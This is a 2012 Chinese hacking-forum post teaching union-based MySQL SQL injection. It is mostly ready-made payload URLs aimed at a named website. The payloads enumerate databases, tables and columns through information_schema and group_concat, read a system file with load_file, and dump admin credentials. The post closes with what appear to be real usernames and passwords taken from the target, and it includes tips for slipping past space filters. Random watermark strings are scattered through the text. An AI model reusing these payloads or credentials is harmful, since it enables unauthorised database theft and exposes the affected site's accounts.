找回密码
 立即注册
查看: 2871|回复: 0
打印 上一主题 下一主题

mysql注入高效方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:37:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似
0 J: X7 F+ ~5 ]8 e但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人
$ D8 `3 G& _% P, ~) n# J0 ^: B+ t7 g, T" P
- _0 @$ d; C, s+ C1 o+ e9 S; l
优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入9 e0 Y# i! ?: t( r& u& E$ B
! R2 x9 K& L9 k8 g5 {5 t( K, n) z
缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...
6 V- G' p0 D5 Z  u# H: ^4 a. o8 A6 X* }' C0 g7 c$ E( ]& {2 Q: r
下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示
( n( E- ?/ B8 L# x5 Y' M在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ ,  + 等等
& q6 w0 }4 ]+ g, S" Y8 W+ P7 Y6 P+ S; [7 ^# h+ ~- t9 I$ ^" B4 [
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17
$ x: Z3 B9 U8 T' f
% C& H, D# ?6 K: U! y$ W) {读出所有库:
9 d/ f- C! K; O" t  n: rhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA  S' x5 E+ q: s; I. D  X
! _. S# D0 M/ e- ]

) ^1 Q' _" j+ t' s& H' L( e; S+ V0 ~" Y1 \4 O4 z- v( v' m" O/ D
读出所有表:
5 I$ W2 P# {. k2 C4 q0 ?4 nhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()
5 b% q- W2 q+ L/ C  ]( E5 F/ _  }' {3 `+ R; H/ W& m3 O6 I
读出所有表字段:
: A4 M5 m" F) r; }7 ihttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)
/ g+ ?/ }( X- k% Y+ O*/ (97,100,109,105,110)为admin的ascii码 依次类推
1 v" g5 N- ^# X0 W" j+ O( F7 [0 v# ~; C1 B
读出所有表字段里的内容:
7 r5 O# x/ _& V: vhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin6 \7 N' D; u6 ]$ Z

4 e' X4 X4 Y7 O  N1 w. t& ]
& O! `: k7 k  L9 F! N6 P) Q- a3 ?
! V/ |( ^$ |7 r" L# X! j3 n: s5 p4 J

$ i5 r5 j/ v" g
1 g& \( r  P7 f3 ghttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%234 [2 {9 s1 h1 _" m& n! y1 X( x

( w) _) p+ d- I+ _. l9 j7 I
! T1 e# x/ }; E0 _7 e; yhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
. L. M; n- i$ c" W" q
+ L5 k% s: J. D2 bhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23
2 v' Q) Y0 A/ o$ n$ {. _( f  g. X* h' T

+ Q4 X. q+ i+ P6 b8 L% ]3 Thttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23
+ f6 x; ?, S* |% t. t+ v
  l; E& ^' n- z3 c; E- A% d+ o4 m
" k" \" c& w3 Z8 }( R" g/ |        webmaster:dzb521123,simlab:simadmin20043233, r  i' S/ M7 J0 H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表